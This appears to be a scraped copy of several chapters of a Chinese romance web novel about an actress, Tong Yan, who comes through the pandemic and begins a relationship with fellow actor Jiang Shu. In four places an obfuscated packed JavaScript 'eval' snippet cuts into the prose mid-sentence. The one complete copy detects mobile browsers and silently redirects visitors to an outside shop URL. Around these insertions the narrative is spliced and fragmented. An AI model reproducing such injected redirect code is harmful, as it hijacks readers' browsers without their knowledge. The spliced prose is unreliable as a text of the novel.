返回剧组前，童颜和潘昀见了一面。 潘昀听说了赵仕沅被刑拘，知道自己被童颜利用了，气得在微信上爆粗口，骂她不讲道义。 潘昀约她出来，童颜原本不想答应，后来想了想，抛开倪笑的事，她也确实欠了潘昀人情，无论如何都该见见。 两人约在一个公园后门，童颜上了潘昀的车。 潘昀搓火道：“瞧瞧你选这地方，我可真是服了！” 公园里都是跳广场舞的大爷大妈，后门晚间关闭，无人进出，非常安全且私密。 总之，她不会再去什么会所了。 “你想说什么，说吧。”童颜开门见山。 潘昀已经过了最震惊最火大的时候，说话还算客气，且他对童颜尚有几分好感在，于情也想指点指点她。 “赵仕沅家里是搞金融的，金融知道什么意思吗？有钱！虽然跟娱乐圈不沾，但上层圈子就那么大，人脉错综复杂，想搞死你一个小明星，也不是什么难事！你跟他们硬刚，是不想在圈里混了？” 童颜木着脸说：“我没想跟谁硬刚，只是做了该做的事。你不如先想想自己，怎么圆你们之前的伪证吧。” “你担心我？”潘昀突然凑过来，邪邪一笑。 童颜皱眉，身子往后撤，手已经拉住了车门。 潘昀觉得无趣，又坐了回去：“放心吧。我的律师要连这点事都摆不平，就不用混了。但你，如果还想在娱乐圈混下去，恐怕就得好好做人了。不如你求求我，我考虑考虑帮你。” 童颜神色毫无波澜：“说到底，那晚你还是帮了点忙的，虽然你后来没有如实作证，我也无权谴责你，有权谴责你的人也不在了。无论如何，我曾经拿你当朋友。如果你因为这事记恨，或者要帮着赵家搞我，随意。” 潘昀见她一副死猪不怕开水烫的模样，倒当真有几分佩服了。 他原是抱着的游戏心态在追童颜，此刻却生出几分正经情意，说：“通知你个事，哥哥看上你了，从今儿开始认真追你。” 童颜大惑不解，且十分嫌弃的表情：“……你没事吧？” “劝你跟魏子铭早分，他配不上你。”潘昀说完，嬉皮笑脸地伸出手，去摸她的头，“不如考虑考虑哥哥。” 童颜挡下他的手，低声吐槽一句：“真是有大病。”就开门下了车。 * 潘昀回到家，一进门，保姆周琴迎了上来。 “周姨，我妈呢？” 周琴笑说：“太太睡了。给你留了晚饭，我去热一热。” “不用。”潘昀把车钥匙扔在柜上，边换鞋边说，“我在外边吃过了。我爸也睡了吧？” “先生还在书房。” 潘昀闻言一顿，神色变得紧张起来。 这两天，因为赵仕沅的事，潘秋生给这个局长那个司长打了一圈电话，探听倪笑的案子。老子收拾烂摊子心情不好，儿子自然被骂的狗血淋头，在家都躲着走。 轻手轻脚地上了楼，到书房门口，见门没关严实，里面有声音，潘昀小心翼翼地贴在门上，听见他爸似乎在给谁打电话，约那人见面。 隐约听他喊了个……小叔？小树？男的女的？ 正要细听，电话结束了，最后他爸说了一句：“好，那等你杀青再约。” 杀青？是个演员？ 潘昀狐疑地想了想，有些许恍然。 这老东西怕不是在外养了小的……好哇！教训他的时候义正言辞，自己却不守夫道，这下让他抓住了把柄，等着吧！ 潘昀心念几转，又蹑手蹑脚往自己房里走，边走边摸出手机，给他爸秘书田源打电话。 “源儿哥，我爸最近在忙什么？” * 元旦前一天，童颜回到剧组继续拍摄。 她的状态好了很多，拍了两天后，导演笑着说感觉对了，她也松了口气。 然而，她的状态并非一直都好。万念俱灰的感觉仍然时不时涌来，每当这时，她就放任自己陷入低落的情绪里，大哭一场，或丧着脸躺在床上。 这是江述的心理医生朋友Jame说的办法，每周三晚，童颜会固定跟Jame聊一个小时。 Jame说，人的情绪波动就像蹦极，有荡到低谷的时候，也有弹回高处的时候，试着去接纳所有的情绪，和它们共存，而不是对抗。 说起来简单，体验的过程却很难熬。 每当她觉得熬不过去时，总会想起江述那晚说的话，她想象自己后背绑了一根绳子，莫名就会多了一点勇气。 江述也经常给她打电话，几乎每晚都打。 一月十七那天，是农历北方小年，江述收工后给童颜打视频。 她问：“你春节是不是也在组里过啊？” “嗯，回不去。” 江述正在洗脸，手机靠在水池边，听对面无声，不由抬眼看去，见童颜扁着嘴，不大高兴的样子。 他擦干手，拿起手机说：“初四我有个行程，在北京。” “真的吗？”她的眼睛亮了起来。 江述轻笑着：“真的。” “那你到时候来探我的班。” “好。” 童颜一心盼着江述来探班，却没想到，一场突如其来的疫情打乱了所有人的节奏。 江述所在的城市突然封控，交通停运，人员无法进出，整个剧组被迫隔离在酒店。接着，国内多个剧组宣布暂停拍摄计划，童颜所在的组也停工了。 那是茫然且混乱的一段时间。 童颜每天早上一睁眼，先看疫情动态，哪个地方发现感染病例，哪个小区又死了人，哪个家庭短短几天绝了户……当宏大的悲剧笼罩在每个人头顶，个人的小情小绪是那么微不足道，活着，才是最重要的事。 童颜为自己曾经放弃生命感到羞愧，祈盼疫情尽快结束，江述平安回来。 整个正月，她只跑了两个行程，此外就是在家待着录视频，开直播，给硝烟中的伙伴加油打气。每天询问江述的状况，得到的都是没问题的反馈，渐渐地，也就放了心。 料峭过后，春暖花开。 四月八号，童颜参加了一档抗疫节目的录制，在后台遇到了魏子铭。 他身边围着几个工作人员，正在说话，期间魏子铭看见了她，童颜脚步微微一顿，顺势拐到了就近的休息室。 过不多时，魏子铭敲门走了进来。 林慧心看了看童颜，又朝魏子铭点了个头，说：“我去找PD。”就离开了休息室。 魏子铭关上门，走到童颜身边。 多日不见，两人之间像隔了一层玻璃，眉目清晰可见，却终归是触碰不到了。 一坐一站，彼此对视片刻，童颜问：“找我有事吗？” “你……” 魏子铭看着她，神色有几分无奈，几分歉疚。 童颜其实很不喜欢他这样看自己，好像她有多么对不起他。 她略过了前任相见的常规套路，主动说：“子铭哥，我最近过得还不错，你不必对我抱愧，我们分开，没有谁对谁错，只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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当集体的不确定性恐慌分摊到每个人头上，能做的好像只有自求多福，如此时间一长，反倒生出些无畏的勇气来。 好好活着，比什么都重要。 这句话被所有人奉为圭臬。 在确保防疫规定严格执行的前提下，童颜的剧组于三月初复工。由于中间耽搁了一个多月时间，原定的杀青时间推迟到了四月底。 武汉四月初解除封控，江述的剧组也很快复工，但考虑到各地防疫政策有别，为免异地往返被迫隔离，耽误彼此的工作进度，探班童颜的计划只能继续推迟。 两人仍旧每天睡前打视频，聊到无话可说，童颜还不肯挂，就那么缩在被窝里，看对面的人趿拉着鞋在屋里走来走去，偶尔到屏幕前瞧一瞧她。 有时候听见他咳嗽一声，她就吓得半死，生怕是感染了病毒，等第二天出了检测结果，截图发过来，她才放心。 偶尔也念叨一句：“好烦啊，江述。” 她也不知道到底在烦些什么，反正就是，心里隐隐有股子焦躁。 劳动节那天，江述晚七点收工，导演约几个主创演员一起吃饭，散局时已经九点多了。 江述回到酒店，洗漱完给童颜打视频，被挂掉了。 很快，一条消息发过来：「等会儿说。」 看来是在忙。 他躺在床上，因为喝了点酒，便生了困意，似睡非睡间，听到微信消息提示，摸起来看了眼，是童颜发的。 一个酒店定位。 不开美颜：「你来这里。」 盯着这四个字看了两秒，他突然翻身坐起，困意一瞬间全散了。 33. 盖章 江述迅速换衣服，打车出门。 童颜定位的君悦酒店，离他住的酒店隔着两条街，开车不过十几分钟。 江述戴着口罩和帽子，坐在出租车后排，眼睛盯着车窗外光影变幻的街景，心思却不定。 时不时点开微信，盯着和童颜的聊天界面，仿佛会突然进来一条消息，也或者，是在等一条消息。 可对面人真沉得住气，好像在和他比定力。 最后还是他认输。 江述：「房间」 不开美颜：「1008」 秒回。 电梯跳动的红色数字，不及他的呼吸频率。 “叮”的一声响，江述大步走出来，顺着房号指示牌，走到08号门前站定，略缓了口气，曲指叩门。 他听见房间里的动静，到了门口，却没有如他预料的开门。 再抬手，“嘟嘟”叩了两声，添了几分力道，更显急切了。 门缓缓打开，童颜歪头，冲他眉开眼笑。 江述呼吸一窒，一手推门进屋，另一手托在她脑后，手臂的力道带她转了个身。童颜小步踉跄后退，神色里有几分失措，不及回神，已经被他抵在了墙上。 “131天。”他扯掉口罩和帽子，低低地说。声音有点急促，呼吸就在她嘴边，“想清楚了吗？” 童颜脑后枕着他的手心，身前与他紧紧贴靠，心口起伏逐渐失去控制，他的视线在她眼睛和双唇之间来回扫，好像捕获小白兔的大老虎，正在考虑从哪下嘴。 这哪里是询问，分明是逼供。 他的眼神太烈，令她有些遭不住，手指抠着他风衣上的扣子，小声问：“你不会……尴尬吗？” 是在说，他们认识多年，一直是朋友的身份，如今要转变，会不会尴尬。 江述盯着她扑闪的睫毛，视线游移至唇上，一秒都没浪费，直接吻了上去。 温热柔软的触感里，童颜忽紧紧闭上了眼睛，双臂仍蜷缩在他胸前，两手虚握成拳。 上唇被他含住，吮弄的力道有点大，舌尖探进口腔与她纠缠，酥麻的感觉从头窜到脚，脚趾轻轻勾了起来。 他抓住她一只手腕，往他的颈后送。温热的呼吸混乱交杂，他低语：“抱我。” 童颜被他亲的腿直发软，脑子整个乱掉了，他说什么就是什么吧。 双臂在他颈后交叠，微微仰头的瞬间，忽然被他抱离了地面。心猛地空了一拍，她小声惊呼，暂离了他的嘴，转瞬又被脑后的大掌按了回去。 江述箍着她两腿，轻轻往上一颠，慌乱间，她的双手撑在他两肩，小腿交缠到了腰后。 像一只树袋熊，挂在他身前。 这姿势过分亲密了，她一下子红了脸，手指紧扣在他肩头，想说句什么，嘴巴却被他牢牢占着。 “……江述。”勉强叫出个名字。 他不情愿地停住，盯着她眼，见她有话却不说，就不再浪费时间，干脆又亲了上去。 这次动作却轻柔了许多。 他坐在床边，将她端坐于腿上，轻抿她的唇珠、鼻尖、脸颊……上瘾一样，没完没了。 童颜整张脸都被他亲麻了，终于忍不住捂他的嘴。 两人轻轻喘息着平复自己。 江述嘴角上扬，挠得童颜手心发痒，不由往后缩了一下，瞬间又捂回去，略带警告地说：“你别再亲了哦。” 见他眨眼以示同意，才放心地收回手。 “还尴尬吗？”他问。 语气里带点揶揄，还有几分以绝对优势战胜对手后的嚣张。 窗纸被他粗暴地捅破，童颜几乎瞬间跟着他的节奏，接受了关系的转变。 他的手臂圈在她腰后，两手掌心贴在腰侧，童颜几乎被他捆在怀里，动弹不得，数月来盘桓在心头的焦躁顷刻消散，取而代之的是一股温热，泉水一般，咕嘟咕嘟，冒个不停。 她突然亲了他一下。 在他略带讶异的笑眼里，说：“盖章。” 他的手掌覆在她脑后，微一仰颌，又亲了回来，可不像她似的蜻蜓点水，重重地压上去，停了一会儿才离开。 “一式两份。” 合约生效，童颜却又生了不满：“草率了，你都没追过我。” 她一副气鼓鼓的样子，江述忍不住捏她脸颊：“五年还不算？” “不算！我不知道，就不算。” 江述笑叹一声，朝后仰头倒在床上，手臂却没松开，童颜也就跟着趴到了他身上。 “想让我怎么追？” “嗯……每日嘘寒问暖、送花请饭、陪我逛街、夸我好看，暂时先这些吧。” 他忽带着她翻了个身，童颜躺在床上，颈后枕着他的手臂，两手抓着他的衣襟。 “最后一项可以先做了。”他撑肘支着上身，手指拂过她脸上细腻的皮肤，说了一句，“你是……人间绝色。” 她抿起嘴，伸直手臂，交叠在他颈后。 江述倾下身，又吻了上去。 骨节分明的手在她身侧游走，气温逐渐攀升，童颜双目迷离，濒临失控时，江述忽然停下，喘着粗气埋首在她颈侧。 起伏的胸膛唤回了她些许理智，童颜将手贴在他心口处，少顷，偏头对准一只通红的耳朵，小声说：“男菩萨终于不冷静了。” 江述咬了咬后槽牙，憋出一句：“去洗澡。” 童颜笑得一脸得色，缓缓推开他，江述张着手臂摊在床上。 童颜到酒店刚放稳行李箱，就给江述发了微信，等他来的时间里，心中忐忑，也顾不上收拾。 直到这会儿，才有功夫把行李箱的东西拿出来，衣服挂到衣帽间，充电线放在床头柜，然后拿上洗漱用品和衣服，去了卫生间。 幸好卫生间不是玻璃墙，不然她会尴尬。 浴室的门关上片刻，又打开，童颜探出头说：“你要是无聊，就看会儿电视哦，我可能会有点久。” 听见“嗯”的一声，才放心地哼着歌，洗了个舒服的热水澡，涂涂抹抹毕，又开始吹头发。 吹风机嗡嗡的声响传到外面，江述点亮手机屏看了眼，23：03，已经一个小时了。 熄了手机继续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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前后不超过两分钟。 童颜一脸懵逼。江述挂好吹风机，然后一言不发，抱起她就走。 “我的鞋……” 她惊呼一声。然而并无卵用，两只都掉到了地上，江述也不管，径直抱她到床边，掀起被子一角，将她塞了进去。 他也躺了进来，一只手臂横到她颈下，轻轻一揽，她就无缝贴到了他身上。 “……”童颜无语片刻，伸手打了她一下，“你这个大直男！” 大直男这会儿只想亲她。话音刚落就含住了她的唇，像食髓知味，攫住了就不放开。 童颜搂住了她的腰，手掌不小心触到他T恤下的皮肤，清凉贴着滚烫，江述顿时身子一僵，气息变得急促起来。 他抬起上身，盯着怀里的人，眼前大片春光，白得晃眼。微微起伏的心口令他眼底渴求之色更浓。 “有……那个吗？”她小声问。 34. 私语 江述摇了摇头。 “那怎么办？” 她挣扎的神色看在他眼中，江述轻轻叹了口气，搂着她倒下来。 童颜以为他失望，又道：“要不……”话没出口，就被他捂住了嘴。 “不要。” 不想让她感觉，他是急色之人。 更不想让她担心，他是到手了就不会珍惜的人。 只是方才看着她挣扎，心中满是不舍和怜惜。 即便两人刚确定关系，即便对她来说并不安全，她也想要满足他的。 傻姑娘。 童颜撑起上身看他，有些无措。 明明是他沦陷得更深更早，如今看着，却是她比他还要不安。 江述抚摸着她的脸，轻道：“今天只想，抱抱你。” 她眼中突然泛起雾气。 “傻不傻。”他说着重新将她揽回怀里。 童颜靠在他肩窝，抽抽鼻子，拍了他一巴掌：“你才傻。” “你刚刚来的路上，在想什么？”童颜问。 江述垂眼：“想……你在干什么，是不是坐立不安地在等我，会不会忍不住，给我发微信。” “自恋！我干嘛要坐立不安，难道我就不能，单纯地来探个班？” 她故意这么说，但事实上，确如江述所说，她在房间里待得坐立难安，一刻也静不下来。 想着待会儿见了面，会不会有点尴尬和陌生，已经四个多月没见了，感觉像过去了半辈子那么久。 想着他会有什么反应，大概仍是淡淡地笑，一副胸有成竹的样子，看她这只孙猴子终于落到他手掌心了。 还想着，他会不会在忙，看没看到消息，是不是在赶来的路上，有没有被狗仔跟踪，她的衣服够不够漂亮，脸有没有胖，妆会不会太淡了，是不是该补个口红…… 想着他怎么还不到……想得心脏都要从嘴里跳出来了。 然而，听到敲门声的瞬间，却有了近乡情怯之感，直到他敲第二声，才把门打开。 这哪里是单纯探班的样子。 但她偏要这么说来气他。 江述抿了抿唇：“不能，我不允许。因为我一路都在想……”视线移到她唇上，低低说，“亲你。” 话音落，唇再次贴了上去。 她忍不住咕哝一句：“你怎么，没够？” “攒了太久。” 温热的鼻息和低如耳语的话，她心软得一塌糊涂，主动回应他……是温柔地贴贴，不带情欲地抚慰，却不成想弄巧成拙，倒把一场清汤寡水的吻翻得火花四溅，差点刹不住车。 已经零点过五分了，童颜仍不想睡。 但她知道江述明天还有戏，不能陪着她瞎胡闹，于是强迫自己闭上眼，很快就演出一副睡熟的模样。 过了会儿，听身边人没动静了，童颜悄悄睁开眼，蓦地对上一双含着笑意的眼。 “演技欠点火候。”他揶揄。 她的小尴尬霎时转作嗔怒：“不知好歹！我想让你好好睡觉嘛……你明天几点出工？” “七点。” “那还不睡，都已经是今天了。” “你呢？还是入睡困难吗？” 童颜怔了怔，眼睫半垂着，说：“已经好多了，虽然不大容易睡着，但是能连续睡四五个小时了。” “正好，我也不困，陪你聊天。” 童颜心知他多半是撒谎。 拍了一天戏，他这部电影武戏很多、又是情绪激烈的，怎么会不困。 但她也深知，劝不住他。想着不由叹了口气。 “你这样，我都有点后悔过来了……麻烦精似的，打扰你休息。” 江述掐了掐她脸：“说什么呢。真不困……不信？”说着抓起她的手，贴在他小腹上，紧绷的肌肉，热度惊人，硬得铁一般，“……还要往下吗？” 童颜羞愤地抽回手，惹出他一阵闷笑。 “好了，不逗你。能待几天？”江述问。 “刚杀青，下部剧十号开机，中间要录两首歌，还有个配音。我把时间往后挪了挪，这次能待两三天。” 江述点了点头，一时没说话。 “在想什么？”童颜问。 “想能带你去哪玩。” “不用！”童颜急忙道，“我不是来捣乱的。你们隔离了两个多月，好不容易才开机，肯定各个部门都在赶。而且现在也不适合乱跑，万一去到高风险地方，回头要被隔离，多耽误事。我就在酒店待着，你收工了就来找我。” 江述知道她是多爱热闹的性子，如今却只能憋在房间里，他心有不忍。 “要不，你去片场待着，看我拍戏。” 童颜微怔，拍了他一下：“说什么呢，那不是所有人都知道了？” “所有人都知道……不行吗？”江述也是一怔。 两人对视着，似都被对方的话惊到了。 童颜没想到，他这么生猛，才刚在一起，就想要公开。 江述也没想到，她拒绝得毫不犹豫，看着是一点也没想公开这事。 少顷，童颜忍不住问：“你认真的吗？” “当然。我不喜欢偷偷摸摸谈恋爱。” 童颜盯着他的眼，确认他没有说谎，不由叹了口气。 这话若是以前听到，她可能会很开心。但经过了这么多风波，她对公开恋情这事已经有了深刻的心理阴影。 一想到可能会面临的粉丝骂战、媒体追问、还有给他事业带来的负面影响，童颜就觉得，还是算了，太累。 江述见神色变换不定，问：“在想什么？” “我想……先等等，以后再说吧。”她有些不安地望他，“你会感觉受伤吗？” “谈不上受伤，有点无奈。我知道你顾虑什么，但我想告诉你，在这件事情上，你无需为我考虑，只问自己的心。暂时，我可以跟着你的节奏来。” 暂时……是有多暂时啊。也不给个明确期限。 她懒得想这些事，搂住他脖子晃了晃：“不说这个了。” 江述难得见她撒娇，能怎么办呢？勾了勾她鼻尖，主动换了个话题。 “跟Jame聊的顺利吗？” “很顺利呀。我跟你讲，我这几个月，一直在背单词，最近跟Jame聊天，很多句子都不需要他的助手翻译，我自己就能听懂了，而且还能用英语回答几句，可厉害了！” “你倒当真拿他当陪练。”江述笑她，转念又道，“也是，他收费那么高，给你打两份工也不亏。” 童颜得意：“可不止呢。Jame还有第三份工，就是跟我讲你的八卦！” “什么八卦？”江述有不好地预感。 “比如，你小时候在婚礼上当花童，被小女孩生扑的事……” 江述的脸瞬间黑了一层。 “中学给同学代写作业，还收费，被老师发现，罚你站着听课一星期。” 又黑了一层。 “还有还有，听说有个长得很漂亮的女生，天天给你带亲手做的三明治，结果你以为人家是卖三明治的，每次都给人钱。后来人家跟你表白，被你毫不留情拒绝，伤心了整整一学期呢…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617954|141838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 江述一把捂住了她的嘴。 “别说了。” 童颜眉开眼笑，扒下他的手：“还说没人追你，哼！大骗子！”她说着抬起身，手臂撑在他胸口，“你说说，那个女生到底有多漂亮，有我漂亮吗？” 江述感觉喉咙发燥，仰头看着天花板：“Jame是这么跟你说的？” 童颜愣了下，点头：“是呀。”她应该没记错吧。 他转回视线，淡淡道：“据我所知，那是个……男生。” “……” 童颜懵逼片刻，突然笑出声：“江述，你还真是男女通吃呀！” 她又笑又闹，扑腾个不停。 四散的体香让他愈加燥热和凌乱，暗暗叹了一声，将她紧紧圈住了，一手隔着被子拍她的肩。 “还睡不睡了。”他轻斥。 童颜忙闭上嘴，眼睛还在笑：“你搞得我更精神了，哎，怎么办……要不你唱歌吧，我努力睡。” 江述宠溺地看着她，清了清嗓子，唱起那首《最佳损友》。 磁性的嗓音浅唱粤语，像在低吟情诗，好听得不得了。手搭在她腰间，边唱边轻轻地拍。 童颜果真安静下来，在他唱到第四首的时候，眼皮一掀一掀，缓缓沉入了梦乡。 * 第二日晨起，天突然下雨，好在江述当天的戏份都是棚拍，倒没什么影响。 下午收工时，雨停了。江述卸完妆，回酒店房间简单冲洗一下，换了身衣服，看时间已经七点四十了，匆匆拿上手机出门。 刚打开房门，就看见这部戏的女二号安卉，她站在楼道，抬着手，似乎正要敲门。 见他出来，安卉愣了下：“述哥，要出门？” 江述点头：“有事？” 安卉笑了笑：“没事，回头再说。” 江述急着去找童颜，便没再耽搁，点点头，关上门离开了。 童颜在房间里待了一整天，早饭和午饭都是江述叫的外卖，机器人直接送到房门口，吃完就躺在床上玩手机，玩累了也不睡，怕白天睡多了，晚上没觉，闹得江述也睡不成。 江述在中场休息时，有空就给她发微信。 童颜担心他老挂着自己，不能投入拍戏，说：「我一个人待着不闷，你别老念叨。」 过了一会儿，那边回复：「你就当，我在完成任务吧。」 不开美颜：「什么任务？」 江述：「嘘寒问暖。」 不开美颜：「……」 怪不得老问她在做什么，想吃什么，想喝什么，还提醒她出门记得带伞。 八点钟，童颜收到微信。 「下楼，带件外套。去酒店东侧马路边等我。」 好耶！童颜兴奋地从床上坐起来。 她早就换好了衣服，一直在等他召唤。 跑到卫生间照了照镜子，白色墨染桃花泡泡袖连衣裙，香肩微露，淡妆，美美的！ 童颜哼着小调走到衣柜前，随手拎了件风衣就往外走。 刚走出门，又收到江述微信：「换鞋。」 童颜吐了吐舌头，默默拐回去，重新刷卡进门，丢掉酒店拖鞋，换成自己的中筒小牛皮。 这回没忘什么了吧？ 房间里四下扫视一番，没问题，她重新关上房门。落锁的一瞬间，想起来没带手机。 童颜忍着暴躁，再次打开房门，一把抓起鞋柜上的手机，跺着脚往外走。 亮起的手机屏上，有江述刚发来的信息：「记得拿手机。」 ……真是见了鬼的。 35. 电影 童颜戴着口罩和渔夫帽，站在路边等江述。 很快，就看到一辆黑色奥迪从左手边过来，驶近时打了双闪。车停稳，她拉开车门，先看见副驾上的一束花。 “哇！”童颜眼珠亮亮地抱起花，坐进副驾，笑眯眯问，“送我的？” 粉荔枝玫瑰，纯白雪梨纸内衬，同色系立体压纹纸包装，系粉色丝带，少女心爆棚。 江述点头：“送花请饭。想好吃什么了吗？” 童颜搂着花，深吸了一口香气，问：“我好看，还是花好看？” “花好看……”他起了个头，见她怒目而视，轻笑着接上，“人更好看。” “这还差不多。” 江述伸手到她头顶揉了一把：“快说，吃什么？” “嗯……我今天被你投喂了太多肉和碳水、和水果、还有零食，晚饭不想吃了，不然明天该肿了。” “确定？” “嗯嗯嗯。”童颜点着头，“找你想吃的吧，我陪你。” “那走吧。” 江述打着方向盘掉头。 童颜对这个城市不熟，之前为跑宣传来过三四回，都是很匆忙的行程，顾不上好好认识这里，这次是放松来玩的，心态不一样，坐在车里就不安生，指指这看看那，让江述给她做向导。 也不问去哪，反正他带到哪算哪。 江述半路停下车，去便利店买了一堆吃的喝的，有三明治、寿司、爆米花，还有几瓶花花绿绿的小甜水。 “你就吃这些吗？”童颜惊讶。 江述摇头：“给你备的，饿了吃。” “我不会吃的！”她一脸坚毅。 江述淡淡地瞥了她一眼，不语。神色仿佛在说，谁信。 童颜朝他做了个鬼脸，忽想起出门时的状况，于是说：“你干嘛提醒我换鞋、拿手机？要不是你，我本来不会忘的。” “所以果然忘了？” 江述好笑地看着她，想起在横店时，两人住的近，她数不清多少次穿走他家的拖鞋，自己懒得回来换，就逼着他去送，送完还得把拖鞋拎回来。 还有她的手机，有好几次林慧心打电话来，都是他接的，这才知道她把手机落下了，他颠颠送回去，她还敢嫌送的慢，累她找了一头汗。 她丢三落四的本事很厉害，江述一点也不奇怪。 童颜这会儿才意识到，江述知道她好多小毛病啊。 “江述，你好可怕。”她嘟着嘴念叨一句，见对面人眉峰攒起，似不解，又道，“你好像住在我心里的幽灵哦。我们这么熟悉，会不会很快就没新鲜感了啊！” “男菩萨、幽灵……你就不能给我立个正常点的人设？”江述气得掐她脸。 童颜抓住他的手，十指紧扣的瞬间，惊呼一声：“哇，你的手指好粗哦，看着精瘦全是骨头的，没想到比……” 脑子里闪过一只手，也是瘦长的指节、白皙的皮肤，但牵上去感觉是柔韧的力道，不像江述这么……霸道？ 童颜晃神的一瞬，江述抓着她手，送到额头边，让她自己敲自己一下。 “不许想别人！” 童颜回过神，也觉得自己有点过分了，刚刚竟然拿江述跟魏子铭对比，虽说不是有意的，但还是，挺不好意思的。 由此联想到，她和魏子铭在一起时，或许有些时刻，也无意间提到过江述，令他心生不快，直到最后忍不住，打电话让她跟江述保持距离。 江述瞧她情绪忽然低落下来，以为自己话说重了，于是把车停在路边，问：“生气了？” 童颜摇了摇头：“我真是，挺没分寸感的。” 江述本是随口一说，没想到她竟然反省上了，看上去还省得挺严重。 她原不是多思多虑的性子，如今却变得这么能发散，这并不是江述想看见的。 “你以后，对我有什么不满，要及早告诉我哦。”她又补了一句。 江述见她神色里含着讨好，无奈地将她揽抱在怀里，轻声叹了口气。 “童颜，你还是对着我作吧。别这么小心翼翼。真够吓人的。你爱想谁想谁吧，魏子铭也行，我不生气。” 他如此直白地提到魏子铭，童颜惊了一下。仰头盯着他的眼睛，细辨了片刻：“真的？不是反话吗？” “当然。”他弹她额头，笑，“你不是说，我是住在你心里的幽灵吗？我比你自己，还要了解你是什么样的人，所以，可劲儿作吧你就。” 她终于露出笑模样，环抱住他的腰说：“我对你，也没有很作吧……” “嗯，没有。也就是我煮好了三鲜馅儿的饺子，你来蹭吃还点菜，非让我再包几个鲅鱼馅儿的。还有凌晨三点，哭得稀里哗啦给我打电话，逼我听你讲小说剧情，讲了整整一个小时……大概这种程度吧。” “……” 有、有吗……听着是有点过分哦。 童颜现在无颜以对，埋在他怀里，偷偷抿着嘴乐。 江述看了看手机，拍拍她的肩：“得走了，不然占不到好位置。” “去哪？”童颜问。 江述重新发动车子：“看电影。” 江述带她去了一家汽车电影院，他们占到了第三排中间的位置，视野不错，按指示调频后，在车里看露天的巨幕，感觉很震撼。 影院当天放映的都是老片，他们这场播的是《爱在黎明破晓前》，经典爱情电影三部曲之一。 童颜看过很多遍，但百看不厌，剧情和台词都熟，不需要认真盯着屏幕，于是抱着爆米花，边吃边和江述聊天，时不时投喂他一个。 影片的最后，西林和杰西在车站吻别。 童颜靠在江述肩上，咕哝了句：“又是一个分别的结局。”是想起去年在游轮上看的《爱乐之城》了。 江述偏头蹭了蹭她：“第二部还会再见。” “可他们分开了九年欸！”童颜仰起脸，不满道，“而且再见时，男主都有孩子了……渣男！” 仿佛有孩子那人是江述，渣男也是他。 江述有点无语。 童颜爬到驾驶位，跨坐到他腿上，手臂圈着他脖子说：“你要是跟我分手了，不许比我先认识新人，也不许比我先结婚，更不能有孩子！” “你都跟我分手了，还管那么宽？” “我就管！”她开始不讲理，“反正你要是敢，我就……在家里画 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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安卉笑着低了低头：“朋友给了我两张音乐剧的票，我本来想问你，要不要一起去。看你好像有急事，我就一个人去了，不能浪费免费的机会嘛……” 童颜洗完手出来，瞧见江述身旁多了个女生，黑色百褶短裙、大波浪长发，脚步不由一顿。 二人所站之处没有路灯，虽与她距离不过十步远，却看不清脸，只隐约看见女生偏了偏头，抬手将鬓边发丝挂到了耳后。 童颜不欲暴露，当下就没出去，默默站在洗手间外墙后，等他们聊完。 听见女生说：“没关系，等下次有机会，你要有时间，我再请你去看。”最后两个字时，声调微微上扬，是疑问，也是试探的语气。 一瞬间，童颜心中闪过不少念头。 猜江述会怎么回应。是答应还是拒绝。他要是敢答应，哼，等着吧！招摇的孔雀，还说自己没有人追！大骗子！ 36. 男德 童颜脑子里正热闹着，忽听见江述说：“只怕不行，我女朋友……会吃醋。” “女朋友”三个字出口，语气顿了顿，童颜感觉他是故意的，他肯定知道她出来了……狡诈！ 想着，嘴角还是忍不住翘了起来。 女生似愣了下，继而自嘲道：“哎呀，好男人果然都是别人家的，看来我没机会了。” 语气有些尴尬，言谈间倒是大大方方。 两人说了几句道别的话，女生就走了。 童颜从卫生间出来，背着手，走到江述身边，一探头：“帅哥，一个人？加个微信呀。” 江述目视前方，一本正经：“不行，我女朋友不同意。” 童颜抿嘴：“你女朋友又不在这，加了她也不会知道。” “她在。” “在哪？我怎么没瞧见？”童颜装模作样地朝四周看。 江述抬手，点了点自己心口的位置，说：“在这。” 童颜顿时不说话了，扬着嘴角，冲他弯起一双笑眼。 忽抬手，圈住他脖颈，委委屈屈地说：“江述，我明天就走了。” “嗯。”他抱紧她，“我有时间就去找你。” “你要守好男德。” “放心，不说我是男菩萨吗？”江述抵着她额头晃了晃。 童颜勉强笑了笑，仍旧扁着嘴。 江述勾住她两腿，将她抱离地面，挂在身上，往前走了一段，在路灯下停住，放她下来。 “怎么办，已经开始想你了。” 他从未说过如此直白的话，眸色深深望着她，语气里满是不舍，瞬间把童颜强忍的泪逼了下来。 她环抱住他腰，也被他紧紧拥在怀中。 “明天醒来给我发微信，上飞机前给我发微信，到家了告诉我一声。” 她点了点头。 